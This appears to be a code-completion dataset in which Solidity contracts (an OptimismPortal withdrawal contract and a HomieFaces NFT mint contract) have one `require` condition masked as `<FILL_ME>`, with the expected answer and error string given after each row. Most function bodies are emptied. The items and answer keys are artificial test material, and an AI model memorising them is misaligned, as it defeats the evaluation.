bytes opaqueData
);
/**
* @notice Emitted when a withdrawal transaction is proven.
*
* @param withdrawalHash Hash of the withdrawal transaction.
*/
event WithdrawalProven(
bytes32 indexed withdrawalHash,
address indexed from,
address indexed to
);
/**
* @notice Emitted when a withdrawal transaction is finalized.
*
* @param withdrawalHash Hash of the withdrawal transaction.
* @param success Whether the withdrawal transaction was successful.
*/
event WithdrawalFinalized(bytes32 indexed withdrawalHash, bool success);
/**
* @notice Emitted when the pause is triggered.
*
* @param account Address of the account triggering the pause.
*/
event Paused(address account);
/**
* @notice Emitted when the pause is lifted.
*
* @param account Address of the account triggering the unpause.
*/
event Unpaused(address account);
/**
* @notice Reverts when paused.
*/
modifier whenNotPaused() {
}
/**
* @custom:semver 1.6.0
*
* @param _l2Oracle Address of the L2OutputOracle contract.
* @param _guardian Address that can pause deposits and withdrawals.
* @param _paused Sets the contract's pausability state.
* @param _config Address of the SystemConfig contract.
*/
constructor(
L2OutputOracle _l2Oracle,
address _guardian,
bool _paused,
SystemConfig _config
) Semver(1, 6, 0) {
}
/**
* @notice Initializer.
*/
function initialize(bool _paused) public initializer {
}
/**
* @notice Pause deposits and withdrawals.
*/
function pause() external {
}
/**
* @notice Unpause deposits and withdrawals.
*/
function unpause() external {
}
/**
* @notice Computes the minimum gas limit for a deposit. The minimum gas limit
* linearly increases based on the size of the calldata. This is to prevent
* users from creating L2 resource usage without paying for it. This function
* can be used when interacting with the portal to ensure forwards compatibility.
*
*/
function minimumGasLimit(uint64 _byteCount) public pure returns (uint64) {
}
/**
* @notice Accepts value so that users can send ETH directly to this contract and have the
* funds be deposited to their address on L2. This is intended as a convenience
* function for EOAs. Contracts should call the depositTransaction() function directly
* otherwise any deposited funds will be lost due to address aliasing.
*/
// solhint-disable-next-line ordering
receive() external payable {
}
/**
* @notice Accepts ETH value without triggering a deposit to L2. This function mainly exists
* for the sake of the migration between the legacy Optimism system and Bedrock.
*/
function donateETH() external payable {
}
/**
* @notice Getter for the resource config. Used internally by the ResourceMetering
* contract. The SystemConfig is the source of truth for the resource config.
*
* @return ResourceMetering.ResourceConfig
*/
function _resourceConfig()
internal
view
override
returns (ResourceMetering.ResourceConfig memory)
{
}
/**
* @notice Proves a withdrawal transaction.
*
* @param _tx Withdrawal transaction to finalize.
* @param _l2OutputIndex L2 output index to prove against.
* @param _outputRootProof Inclusion proof of the L2ToL1MessagePasser contract's storage root.
* @param _withdrawalProof Inclusion proof of the withdrawal in L2ToL1MessagePasser contract.
*/
function proveWithdrawalTransaction(
Types.WithdrawalTransaction memory _tx,
uint256 _l2OutputIndex,
Types.OutputRootProof calldata _outputRootProof,
bytes[] calldata _withdrawalProof
) external whenNotPaused {
}
/**
* @notice Finalizes a withdrawal transaction.
*
* @param _tx Withdrawal transaction to finalize.
*/
function finalizeWithdrawalTransaction(Types.WithdrawalTransaction memory _tx)
external
whenNotPaused
{
// Make sure that the l2Sender has not yet been set. The l2Sender is set to a value other
// than the default value when a withdrawal transaction is being finalized. This check is
// a defacto reentrancy guard.
require(
l2Sender == Constants.DEFAULT_L2_SENDER,
"OptimismPortal: can only trigger one withdrawal per transaction"
);
// Grab the proven withdrawal from the `provenWithdrawals` map.
bytes32 withdrawalHash = Hashing.hashWithdrawal(_tx);
ProvenWithdrawal memory provenWithdrawal = provenWithdrawals[withdrawalHash];
// A withdrawal can only be finalized if it has been proven. We know that a withdrawal has
// been proven at least once when its timestamp is non-zero. Unproven withdrawals will have
// a timestamp of zero.
require(
provenWithdrawal.timestamp != 0,
"OptimismPortal: withdrawal has not been proven yet"
);
// As a sanity check, we make sure that the proven withdrawal's timestamp is greater than
// starting timestamp inside the L2OutputOracle. Not strictly necessary but extra layer of
// safety against weird bugs in the proving step.
require(
provenWithdrawal.timestamp >= L2_ORACLE.startingTimestamp(),
"OptimismPortal: withdrawal timestamp less than L2 Oracle starting timestamp"
);
// A proven withdrawal must wait at least the finalization period before it can be
// finalized. This waiting period can elapse in parallel with the waiting period for the
// output the withdrawal was proven against. In effect, this means that the minimum
// withdrawal time is proposal submission time + finalization period.
require(<FILL_ME>)
// Grab the OutputProposal from the L2OutputOracle, will revert if the output that
// corresponds to the given index has not been proposed yet.
Types.OutputProposal memory proposal = L2_ORACLE.getL2Output(
provenWithdrawal.l2OutputIndex
);
// Check that the output root that was used to prove the withdrawal is the same as the
// current output root for the given output index. An output root may change if it is
// deleted by the challenger address and then re-proposed.
require(
proposal.outputRoot == provenWithdrawal.outputRoot,
"OptimismPortal: output root proven is not the same as current output root"
);
// Check that the output proposal has also been finalized.
require(
_isFinalizationPeriodElapsed(proposal.timestamp),
"OptimismPortal: output proposal finalization period has not elapsed"
);
// Check that this withdrawal has not already been finalized, this is replay protection.
require(
finalizedWithdrawals[withdrawalHash] == false,
"OptimismPortal: withdrawal has already been finalized"
);
// Mark the withdrawal as finalized so it can't be replayed.
finalizedWithdrawals[withdrawalHash] = true;
// Set the l2Sender so contracts know who triggered this withdrawal on L2.
l2Sender = _tx.sender;
// Trigger the call to the target contract. We use a custom low level method
// SafeCall.callWithMinGas to ensure two key properties
// 1. Target contracts cannot force this call to run out of gas by returning a very large
// amount of data (and this is OK because we don't care about the returndata here).
// 2. The amount of gas provided to the execution context of the target is at least the
// gas limit specified by the user. If there is not enough gas in the current context
// to accomplish this, `callWithMinGas` will revert.
bool success = SafeCall.callWithMinGas(_tx.target, _tx.gasLimit, _tx.value, _tx.data);
// Reset the l2Sender back to the default value.
l2Sender = Constants.DEFAULT_L2_SENDER;
// All withdrawals are immediately finalized. Replayability can
// be achieved through contracts built on top of this contract
emit WithdrawalFinalized(withdrawalHash, success);
// Reverting here is useful for determining the exact gas cost to successfully execute the
// sub call to the target contract if the minimum gas limit specified by the user would not
// be sufficient to execute the sub call.
if (success == false && tx.origin == Constants.ESTIMATION_ADDRESS) {
revert("OptimismPortal: withdrawal failed");
}
}
/**
* @notice Accepts deposits of ETH and data, and emits a TransactionDeposited event for use in
* deriving deposit transactions. Note that if a deposit is made by a contract, its
* address will be aliased when retrieved using `tx.origin` or `msg.sender`. Consider
* using the CrossDomainMessenger contracts for a simpler developer experience.
*
* @param _to Target address on L2.
* @param _value ETH value to send to the recipient.
* @param _gasLimit Minimum L2 gas limit (can be greater than or equal to this value).
* @param _isCreation Whether or not the transaction is a contract creation.
* @param _data Data to trigger the recipient with.
*/
function depositTransaction(
address _to,
uint256 _value,
uint64 _gasLimit,
bool _isCreation,
bytes memory _data
) public payable metered(_gasLimit) {
}
/**
* @notice Determine if a given output is finalized. Reverts if the call to
* L2_ORACLE.getL2Output reverts. Returns a boolean otherwise.
*
* @param _l2OutputIndex Index of the L2 output to check.
*
* @return Whether or not the output is finalized.
*/
function isOutputFinalized(uint256 _l2OutputIndex) external view returns (bool) {
}
/**
* @notice Determines whether the finalization period has elapsed w/r/t a given timestamp.
*
* @param _timestamp Timestamp to check.
*
* @return Whether or not the finalization period has elapsed.
*/
function _isFinalizationPeriodElapsed(uint256 _timestamp) internal view returns (bool) {
}
}
| _isFinalizationPeriodElapsed(provenWithdrawal.timestamp),"OptimismPortal: proven withdrawal finalization period has not elapsed" | 126,922 | _isFinalizationPeriodElapsed(provenWithdrawal.timestamp) |
"OptimismPortal: output proposal finalization period has not elapsed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import { Initializable } from "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import { SafeCall } from "../libraries/SafeCall.sol";
import { L2OutputOracle } from "./L2OutputOracle.sol";
import { SystemConfig } from "./SystemConfig.sol";
import { Constants } from "../libraries/Constants.sol";
import { Types } from "../libraries/Types.sol";
import { Hashing } from "../libraries/Hashing.sol";
import { SecureMerkleTrie } from "../libraries/trie/SecureMerkleTrie.sol";
import { AddressAliasHelper } from "../vendor/AddressAliasHelper.sol";
import { ResourceMetering } from "./ResourceMetering.sol";
import { Semver } from "../universal/Semver.sol";
/**
* @custom:proxied
* @title OptimismPortal
* @notice The OptimismPortal is a low-level contract responsible for passing messages between L1
* and L2. Messages sent directly to the OptimismPortal have no form of replayability.
* Users are encouraged to use the L1CrossDomainMessenger for a higher-level interface.
*/
contract OptimismPortal is Initializable, ResourceMetering, Semver {
/**
* @notice Represents a proven withdrawal.
*
* @custom:field outputRoot Root of the L2 output this was proven against.
* @custom:field timestamp Timestamp at whcih the withdrawal was proven.
* @custom:field l2OutputIndex Index of the output this was proven against.
*/
struct ProvenWithdrawal {
bytes32 outputRoot;
uint128 timestamp;
uint128 l2OutputIndex;
}
/**
* @notice Version of the deposit event.
*/
uint256 internal constant DEPOSIT_VERSION = 0;
/**
* @notice The L2 gas limit set when eth is deposited using the receive() function.
*/
uint64 internal constant RECEIVE_DEFAULT_GAS_LIMIT = 100_000;
/**
* @notice Address of the L2OutputOracle contract.
*/
L2OutputOracle public immutable L2_ORACLE;
/**
* @notice Address of the SystemConfig contract.
*/
SystemConfig public immutable SYSTEM_CONFIG;
/**
* @notice Address that has the ability to pause and unpause withdrawals.
*/
address public immutable GUARDIAN;
/**
* @notice Address of the L2 account which initiated a withdrawal in this transaction. If the
* of this variable is the default L2 sender address, then we are NOT inside of a call
* to finalizeWithdrawalTransaction.
*/
address public l2Sender;
/**
* @notice A list of withdrawal hashes which have been successfully finalized.
*/
mapping(bytes32 => bool) public finalizedWithdrawals;
/**
* @notice A mapping of withdrawal hashes to `ProvenWithdrawal` data.
*/
mapping(bytes32 => ProvenWithdrawal) public provenWithdrawals;
/**
* @notice Determines if cross domain messaging is paused. When set to true,
* withdrawals are paused. This may be removed in the future.
*/
bool public paused;
/**
* @notice Emitted when a transaction is deposited from L1 to L2. The parameters of this event
* are read by the rollup node and used to derive deposit transactions on L2.
*
* @param from Address that triggered the deposit transaction.
* @param to Address that the deposit transaction is directed to.
* @param version Version of this deposit transaction event.
* @param opaqueData ABI encoded deposit data to be parsed off-chain.
*/
event TransactionDeposited(
address indexed from,
address indexed to,
uint256 indexed version,
bytes opaqueData
);
/**
* @notice Emitted when a withdrawal transaction is proven.
*
* @param withdrawalHash Hash of the withdrawal transaction.
*/
event WithdrawalProven(
bytes32 indexed withdrawalHash,
address indexed from,
address indexed to
);
/**
* @notice Emitted when a withdrawal transaction is finalized.
*
* @param withdrawalHash Hash of the withdrawal transaction.
* @param success Whether the withdrawal transaction was successful.
*/
event WithdrawalFinalized(bytes32 indexed withdrawalHash, bool success);
/**
* @notice Emitted when the pause is triggered.
*
* @param account Address of the account triggering the pause.
*/
event Paused(address account);
/**
* @notice Emitted when the pause is lifted.
*
* @param account Address of the account triggering the unpause.
*/
event Unpaused(address account);
/**
* @notice Reverts when paused.
*/
modifier whenNotPaused() {
}
/**
* @custom:semver 1.6.0
*
* @param _l2Oracle Address of the L2OutputOracle contract.
* @param _guardian Address that can pause deposits and withdrawals.
* @param _paused Sets the contract's pausability state.
* @param _config Address of the SystemConfig contract.
*/
constructor(
L2OutputOracle _l2Oracle,
address _guardian,
bool _paused,
SystemConfig _config
) Semver(1, 6, 0) {
}
/**
* @notice Initializer.
*/
function initialize(bool _paused) public initializer {
}
/**
* @notice Pause deposits and withdrawals.
*/
function pause() external {
}
/**
* @notice Unpause deposits and withdrawals.
*/
function unpause() external {
}
/**
* @notice Computes the minimum gas limit for a deposit. The minimum gas limit
* linearly increases based on the size of the calldata. This is to prevent
* users from creating L2 resource usage without paying for it. This function
* can be used when interacting with the portal to ensure forwards compatibility.
*
*/
function minimumGasLimit(uint64 _byteCount) public pure returns (uint64) {
}
/**
* @notice Accepts value so that users can send ETH directly to this contract and have the
* funds be deposited to their address on L2. This is intended as a convenience
* function for EOAs. Contracts should call the depositTransaction() function directly
* otherwise any deposited funds will be lost due to address aliasing.
*/
// solhint-disable-next-line ordering
receive() external payable {
}
/**
* @notice Accepts ETH value without triggering a deposit to L2. This function mainly exists
* for the sake of the migration between the legacy Optimism system and Bedrock.
*/
function donateETH() external payable {
}
/**
* @notice Getter for the resource config. Used internally by the ResourceMetering
* contract. The SystemConfig is the source of truth for the resource config.
*
* @return ResourceMetering.ResourceConfig
*/
function _resourceConfig()
internal
view
override
returns (ResourceMetering.ResourceConfig memory)
{
}
/**
* @notice Proves a withdrawal transaction.
*
* @param _tx Withdrawal transaction to finalize.
* @param _l2OutputIndex L2 output index to prove against.
* @param _outputRootProof Inclusion proof of the L2ToL1MessagePasser contract's storage root.
* @param _withdrawalProof Inclusion proof of the withdrawal in L2ToL1MessagePasser contract.
*/
function proveWithdrawalTransaction(
Types.WithdrawalTransaction memory _tx,
uint256 _l2OutputIndex,
Types.OutputRootProof calldata _outputRootProof,
bytes[] calldata _withdrawalProof
) external whenNotPaused {
}
/**
* @notice Finalizes a withdrawal transaction.
*
* @param _tx Withdrawal transaction to finalize.
*/
function finalizeWithdrawalTransaction(Types.WithdrawalTransaction memory _tx)
external
whenNotPaused
{
// Make sure that the l2Sender has not yet been set. The l2Sender is set to a value other
// than the default value when a withdrawal transaction is being finalized. This check is
// a defacto reentrancy guard.
require(
l2Sender == Constants.DEFAULT_L2_SENDER,
"OptimismPortal: can only trigger one withdrawal per transaction"
);
// Grab the proven withdrawal from the `provenWithdrawals` map.
bytes32 withdrawalHash = Hashing.hashWithdrawal(_tx);
ProvenWithdrawal memory provenWithdrawal = provenWithdrawals[withdrawalHash];
// A withdrawal can only be finalized if it has been proven. We know that a withdrawal has
// been proven at least once when its timestamp is non-zero. Unproven withdrawals will have
// a timestamp of zero.
require(
provenWithdrawal.timestamp != 0,
"OptimismPortal: withdrawal has not been proven yet"
);
// As a sanity check, we make sure that the proven withdrawal's timestamp is greater than
// starting timestamp inside the L2OutputOracle. Not strictly necessary but extra layer of
// safety against weird bugs in the proving step.
require(
provenWithdrawal.timestamp >= L2_ORACLE.startingTimestamp(),
"OptimismPortal: withdrawal timestamp less than L2 Oracle starting timestamp"
);
// A proven withdrawal must wait at least the finalization period before it can be
// finalized. This waiting period can elapse in parallel with the waiting period for the
// output the withdrawal was proven against. In effect, this means that the minimum
// withdrawal time is proposal submission time + finalization period.
require(
_isFinalizationPeriodElapsed(provenWithdrawal.timestamp),
"OptimismPortal: proven withdrawal finalization period has not elapsed"
);
// Grab the OutputProposal from the L2OutputOracle, will revert if the output that
// corresponds to the given index has not been proposed yet.
Types.OutputProposal memory proposal = L2_ORACLE.getL2Output(
provenWithdrawal.l2OutputIndex
);
// Check that the output root that was used to prove the withdrawal is the same as the
// current output root for the given output index. An output root may change if it is
// deleted by the challenger address and then re-proposed.
require(
proposal.outputRoot == provenWithdrawal.outputRoot,
"OptimismPortal: output root proven is not the same as current output root"
);
// Check that the output proposal has also been finalized.
require(<FILL_ME>)
// Check that this withdrawal has not already been finalized, this is replay protection.
require(
finalizedWithdrawals[withdrawalHash] == false,
"OptimismPortal: withdrawal has already been finalized"
);
// Mark the withdrawal as finalized so it can't be replayed.
finalizedWithdrawals[withdrawalHash] = true;
// Set the l2Sender so contracts know who triggered this withdrawal on L2.
l2Sender = _tx.sender;
// Trigger the call to the target contract. We use a custom low level method
// SafeCall.callWithMinGas to ensure two key properties
// 1. Target contracts cannot force this call to run out of gas by returning a very large
// amount of data (and this is OK because we don't care about the returndata here).
// 2. The amount of gas provided to the execution context of the target is at least the
// gas limit specified by the user. If there is not enough gas in the current context
// to accomplish this, `callWithMinGas` will revert.
bool success = SafeCall.callWithMinGas(_tx.target, _tx.gasLimit, _tx.value, _tx.data);
// Reset the l2Sender back to the default value.
l2Sender = Constants.DEFAULT_L2_SENDER;
// All withdrawals are immediately finalized. Replayability can
// be achieved through contracts built on top of this contract
emit WithdrawalFinalized(withdrawalHash, success);
// Reverting here is useful for determining the exact gas cost to successfully execute the
// sub call to the target contract if the minimum gas limit specified by the user would not
// be sufficient to execute the sub call.
if (success == false && tx.origin == Constants.ESTIMATION_ADDRESS) {
revert("OptimismPortal: withdrawal failed");
}
}
/**
* @notice Accepts deposits of ETH and data, and emits a TransactionDeposited event for use in
* deriving deposit transactions. Note that if a deposit is made by a contract, its
* address will be aliased when retrieved using `tx.origin` or `msg.sender`. Consider
* using the CrossDomainMessenger contracts for a simpler developer experience.
*
* @param _to Target address on L2.
* @param _value ETH value to send to the recipient.
* @param _gasLimit Minimum L2 gas limit (can be greater than or equal to this value).
* @param _isCreation Whether or not the transaction is a contract creation.
* @param _data Data to trigger the recipient with.
*/
function depositTransaction(
address _to,
uint256 _value,
uint64 _gasLimit,
bool _isCreation,
bytes memory _data
) public payable metered(_gasLimit) {
}
/**
* @notice Determine if a given output is finalized. Reverts if the call to
* L2_ORACLE.getL2Output reverts. Returns a boolean otherwise.
*
* @param _l2OutputIndex Index of the L2 output to check.
*
* @return Whether or not the output is finalized.
*/
function isOutputFinalized(uint256 _l2OutputIndex) external view returns (bool) {
}
/**
* @notice Determines whether the finalization period has elapsed w/r/t a given timestamp.
*
* @param _timestamp Timestamp to check.
*
* @return Whether or not the finalization period has elapsed.
*/
function _isFinalizationPeriodElapsed(uint256 _timestamp) internal view returns (bool) {
}
}
| _isFinalizationPeriodElapsed(proposal.timestamp),"OptimismPortal: output proposal finalization period has not elapsed" | 126,922 | _isFinalizationPeriodElapsed(proposal.timestamp) |
"OptimismPortal: withdrawal has already been finalized" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import { Initializable } from "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import { SafeCall } from "../libraries/SafeCall.sol";
import { L2OutputOracle } from "./L2OutputOracle.sol";
import { SystemConfig } from "./SystemConfig.sol";
import { Constants } from "../libraries/Constants.sol";
import { Types } from "../libraries/Types.sol";
import { Hashing } from "../libraries/Hashing.sol";
import { SecureMerkleTrie } from "../libraries/trie/SecureMerkleTrie.sol";
import { AddressAliasHelper } from "../vendor/AddressAliasHelper.sol";
import { ResourceMetering } from "./ResourceMetering.sol";
import { Semver } from "../universal/Semver.sol";
/**
* @custom:proxied
* @title OptimismPortal
* @notice The OptimismPortal is a low-level contract responsible for passing messages between L1
* and L2. Messages sent directly to the OptimismPortal have no form of replayability.
* Users are encouraged to use the L1CrossDomainMessenger for a higher-level interface.
*/
contract OptimismPortal is Initializable, ResourceMetering, Semver {
/**
* @notice Represents a proven withdrawal.
*
* @custom:field outputRoot Root of the L2 output this was proven against.
* @custom:field timestamp Timestamp at whcih the withdrawal was proven.
* @custom:field l2OutputIndex Index of the output this was proven against.
*/
struct ProvenWithdrawal {
bytes32 outputRoot;
uint128 timestamp;
uint128 l2OutputIndex;
}
/**
* @notice Version of the deposit event.
*/
uint256 internal constant DEPOSIT_VERSION = 0;
/**
* @notice The L2 gas limit set when eth is deposited using the receive() function.
*/
uint64 internal constant RECEIVE_DEFAULT_GAS_LIMIT = 100_000;
/**
* @notice Address of the L2OutputOracle contract.
*/
L2OutputOracle public immutable L2_ORACLE;
/**
* @notice Address of the SystemConfig contract.
*/
SystemConfig public immutable SYSTEM_CONFIG;
/**
* @notice Address that has the ability to pause and unpause withdrawals.
*/
address public immutable GUARDIAN;
/**
* @notice Address of the L2 account which initiated a withdrawal in this transaction. If the
* of this variable is the default L2 sender address, then we are NOT inside of a call
* to finalizeWithdrawalTransaction.
*/
address public l2Sender;
/**
* @notice A list of withdrawal hashes which have been successfully finalized.
*/
mapping(bytes32 => bool) public finalizedWithdrawals;
/**
* @notice A mapping of withdrawal hashes to `ProvenWithdrawal` data.
*/
mapping(bytes32 => ProvenWithdrawal) public provenWithdrawals;
/**
* @notice Determines if cross domain messaging is paused. When set to true,
* withdrawals are paused. This may be removed in the future.
*/
bool public paused;
/**
* @notice Emitted when a transaction is deposited from L1 to L2. The parameters of this event
* are read by the rollup node and used to derive deposit transactions on L2.
*
* @param from Address that triggered the deposit transaction.
* @param to Address that the deposit transaction is directed to.
* @param version Version of this deposit transaction event.
* @param opaqueData ABI encoded deposit data to be parsed off-chain.
*/
event TransactionDeposited(
address indexed from,
address indexed to,
uint256 indexed version,
bytes opaqueData
);
/**
* @notice Emitted when a withdrawal transaction is proven.
*
* @param withdrawalHash Hash of the withdrawal transaction.
*/
event WithdrawalProven(
bytes32 indexed withdrawalHash,
address indexed from,
address indexed to
);
/**
* @notice Emitted when a withdrawal transaction is finalized.
*
* @param withdrawalHash Hash of the withdrawal transaction.
* @param success Whether the withdrawal transaction was successful.
*/
event WithdrawalFinalized(bytes32 indexed withdrawalHash, bool success);
/**
* @notice Emitted when the pause is triggered.
*
* @param account Address of the account triggering the pause.
*/
event Paused(address account);
/**
* @notice Emitted when the pause is lifted.
*
* @param account Address of the account triggering the unpause.
*/
event Unpaused(address account);
/**
* @notice Reverts when paused.
*/
modifier whenNotPaused() {
}
/**
* @custom:semver 1.6.0
*
* @param _l2Oracle Address of the L2OutputOracle contract.
* @param _guardian Address that can pause deposits and withdrawals.
* @param _paused Sets the contract's pausability state.
* @param _config Address of the SystemConfig contract.
*/
constructor(
L2OutputOracle _l2Oracle,
address _guardian,
bool _paused,
SystemConfig _config
) Semver(1, 6, 0) {
}
/**
* @notice Initializer.
*/
function initialize(bool _paused) public initializer {
}
/**
* @notice Pause deposits and withdrawals.
*/
function pause() external {
}
/**
* @notice Unpause deposits and withdrawals.
*/
function unpause() external {
}
/**
* @notice Computes the minimum gas limit for a deposit. The minimum gas limit
* linearly increases based on the size of the calldata. This is to prevent
* users from creating L2 resource usage without paying for it. This function
* can be used when interacting with the portal to ensure forwards compatibility.
*
*/
function minimumGasLimit(uint64 _byteCount) public pure returns (uint64) {
}
/**
* @notice Accepts value so that users can send ETH directly to this contract and have the
* funds be deposited to their address on L2. This is intended as a convenience
* function for EOAs. Contracts should call the depositTransaction() function directly
* otherwise any deposited funds will be lost due to address aliasing.
*/
// solhint-disable-next-line ordering
receive() external payable {
}
/**
* @notice Accepts ETH value without triggering a deposit to L2. This function mainly exists
* for the sake of the migration between the legacy Optimism system and Bedrock.
*/
function donateETH() external payable {
}
/**
* @notice Getter for the resource config. Used internally by the ResourceMetering
* contract. The SystemConfig is the source of truth for the resource config.
*
* @return ResourceMetering.ResourceConfig
*/
function _resourceConfig()
internal
view
override
returns (ResourceMetering.ResourceConfig memory)
{
}
/**
* @notice Proves a withdrawal transaction.
*
* @param _tx Withdrawal transaction to finalize.
* @param _l2OutputIndex L2 output index to prove against.
* @param _outputRootProof Inclusion proof of the L2ToL1MessagePasser contract's storage root.
* @param _withdrawalProof Inclusion proof of the withdrawal in L2ToL1MessagePasser contract.
*/
function proveWithdrawalTransaction(
Types.WithdrawalTransaction memory _tx,
uint256 _l2OutputIndex,
Types.OutputRootProof calldata _outputRootProof,
bytes[] calldata _withdrawalProof
) external whenNotPaused {
}
/**
* @notice Finalizes a withdrawal transaction.
*
* @param _tx Withdrawal transaction to finalize.
*/
function finalizeWithdrawalTransaction(Types.WithdrawalTransaction memory _tx)
external
whenNotPaused
{
// Make sure that the l2Sender has not yet been set. The l2Sender is set to a value other
// than the default value when a withdrawal transaction is being finalized. This check is
// a defacto reentrancy guard.
require(
l2Sender == Constants.DEFAULT_L2_SENDER,
"OptimismPortal: can only trigger one withdrawal per transaction"
);
// Grab the proven withdrawal from the `provenWithdrawals` map.
bytes32 withdrawalHash = Hashing.hashWithdrawal(_tx);
ProvenWithdrawal memory provenWithdrawal = provenWithdrawals[withdrawalHash];
// A withdrawal can only be finalized if it has been proven. We know that a withdrawal has
// been proven at least once when its timestamp is non-zero. Unproven withdrawals will have
// a timestamp of zero.
require(
provenWithdrawal.timestamp != 0,
"OptimismPortal: withdrawal has not been proven yet"
);
// As a sanity check, we make sure that the proven withdrawal's timestamp is greater than
// starting timestamp inside the L2OutputOracle. Not strictly necessary but extra layer of
// safety against weird bugs in the proving step.
require(
provenWithdrawal.timestamp >= L2_ORACLE.startingTimestamp(),
"OptimismPortal: withdrawal timestamp less than L2 Oracle starting timestamp"
);
// A proven withdrawal must wait at least the finalization period before it can be
// finalized. This waiting period can elapse in parallel with the waiting period for the
// output the withdrawal was proven against. In effect, this means that the minimum
// withdrawal time is proposal submission time + finalization period.
require(
_isFinalizationPeriodElapsed(provenWithdrawal.timestamp),
"OptimismPortal: proven withdrawal finalization period has not elapsed"
);
// Grab the OutputProposal from the L2OutputOracle, will revert if the output that
// corresponds to the given index has not been proposed yet.
Types.OutputProposal memory proposal = L2_ORACLE.getL2Output(
provenWithdrawal.l2OutputIndex
);
// Check that the output root that was used to prove the withdrawal is the same as the
// current output root for the given output index. An output root may change if it is
// deleted by the challenger address and then re-proposed.
require(
proposal.outputRoot == provenWithdrawal.outputRoot,
"OptimismPortal: output root proven is not the same as current output root"
);
// Check that the output proposal has also been finalized.
require(
_isFinalizationPeriodElapsed(proposal.timestamp),
"OptimismPortal: output proposal finalization period has not elapsed"
);
// Check that this withdrawal has not already been finalized, this is replay protection.
require(<FILL_ME>)
// Mark the withdrawal as finalized so it can't be replayed.
finalizedWithdrawals[withdrawalHash] = true;
// Set the l2Sender so contracts know who triggered this withdrawal on L2.
l2Sender = _tx.sender;
// Trigger the call to the target contract. We use a custom low level method
// SafeCall.callWithMinGas to ensure two key properties
// 1. Target contracts cannot force this call to run out of gas by returning a very large
// amount of data (and this is OK because we don't care about the returndata here).
// 2. The amount of gas provided to the execution context of the target is at least the
// gas limit specified by the user. If there is not enough gas in the current context
// to accomplish this, `callWithMinGas` will revert.
bool success = SafeCall.callWithMinGas(_tx.target, _tx.gasLimit, _tx.value, _tx.data);
// Reset the l2Sender back to the default value.
l2Sender = Constants.DEFAULT_L2_SENDER;
// All withdrawals are immediately finalized. Replayability can
// be achieved through contracts built on top of this contract
emit WithdrawalFinalized(withdrawalHash, success);
// Reverting here is useful for determining the exact gas cost to successfully execute the
// sub call to the target contract if the minimum gas limit specified by the user would not
// be sufficient to execute the sub call.
if (success == false && tx.origin == Constants.ESTIMATION_ADDRESS) {
revert("OptimismPortal: withdrawal failed");
}
}
/**
* @notice Accepts deposits of ETH and data, and emits a TransactionDeposited event for use in
* deriving deposit transactions. Note that if a deposit is made by a contract, its
* address will be aliased when retrieved using `tx.origin` or `msg.sender`. Consider
* using the CrossDomainMessenger contracts for a simpler developer experience.
*
* @param _to Target address on L2.
* @param _value ETH value to send to the recipient.
* @param _gasLimit Minimum L2 gas limit (can be greater than or equal to this value).
* @param _isCreation Whether or not the transaction is a contract creation.
* @param _data Data to trigger the recipient with.
*/
function depositTransaction(
address _to,
uint256 _value,
uint64 _gasLimit,
bool _isCreation,
bytes memory _data
) public payable metered(_gasLimit) {
}
/**
* @notice Determine if a given output is finalized. Reverts if the call to
* L2_ORACLE.getL2Output reverts. Returns a boolean otherwise.
*
* @param _l2OutputIndex Index of the L2 output to check.
*
* @return Whether or not the output is finalized.
*/
function isOutputFinalized(uint256 _l2OutputIndex) external view returns (bool) {
}
/**
* @notice Determines whether the finalization period has elapsed w/r/t a given timestamp.
*
* @param _timestamp Timestamp to check.
*
* @return Whether or not the finalization period has elapsed.
*/
function _isFinalizationPeriodElapsed(uint256 _timestamp) internal view returns (bool) {
}
}
| finalizedWithdrawals[withdrawalHash]==false,"OptimismPortal: withdrawal has already been finalized" | 126,922 | finalizedWithdrawals[withdrawalHash]==false |
ERR_LIMIT_EXCEED | pragma solidity ^0.8.10;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract HomieFaces is ERC721A, Ownable {
// @dev refer to setProvenance and randomSeedIndex function
event Provenance(uint256 indexed proveType, bytes32 proveData);
string private _baseURIextended;
string private constant ERR_ONLY_EOA = "Only EOA";
string private constant ERR_MINT_END = "Minting ended";
string private constant ERR_MINT_NOT_START = "Not started yet";
string private constant ERR_LIMIT_EXCEED = "Limit exceeded";
string private constant ERR_WRONG_VALUE = "Value not correct";
string private constant ERR_NOT_WHITELIST = "Not whitelisted";
string private constant ERR_ONLY_REDUCE = "Reduce only";
uint256 public constant PUBLIC_MINTING_LIMIT = 20;
uint256 public constant MINTING_PRICE = 0.05 ether;
uint16 public constant MAX_RESERVE = 10;
uint8 public constant WL_LIMIT = 2;
uint8 public constant OG_LIMIT = 3;
uint8 public activeStage = 0;
bytes32 public whitelistMerkleRoot = 0x0;
bytes32 public ogMerkleRoot = 0x0;
uint256 public maxSupply = 4444;
mapping(address => uint8) public ticketRecord;
constructor() ERC721A("HomieFaces", "HOMIEFACESNFT") {}
function setWhitelistMerkleRoot(bytes32 _merkleRoot)
external
onlyOwner
{
}
function setOgMerkleRoot(bytes32 _merkleRoot)
external
onlyOwner
{
}
function setActiveStage(uint8 _stage)
external
onlyOwner
{
}
function reduceMaxSupply(uint256 _maxSupply)
external
onlyOwner
{
}
function whitelistPreSales(uint8 _numberOfTokens, bytes32[] calldata _merkleProof)
external
payable
{
require(msg.sender == tx.origin, ERR_ONLY_EOA);
require(_numberOfTokens <= WL_LIMIT, ERR_LIMIT_EXCEED);
require(activeStage >= 1, ERR_MINT_NOT_START);
uint256 totalSupply = totalSupply();
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
bool proofed = MerkleProof.verify(_merkleProof, whitelistMerkleRoot, leaf);
require(proofed, ERR_NOT_WHITELIST);
require(<FILL_ME>)
require(ticketRecord[msg.sender] + _numberOfTokens <= WL_LIMIT
, ERR_LIMIT_EXCEED);
require(MINTING_PRICE * _numberOfTokens <= msg.value, ERR_WRONG_VALUE);
ticketRecord[msg.sender] += _numberOfTokens;
_safeMint(msg.sender, _numberOfTokens);
}
function ogPreSales(uint8 _numberOfTokens, bytes32[] calldata _merkleProof)
external
payable
{
}
function publicMint(uint _numberOfTokens) public payable {
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function reserve(uint256 _numberOfTokens) public onlyOwner {
}
function withdraw() public onlyOwner {
}
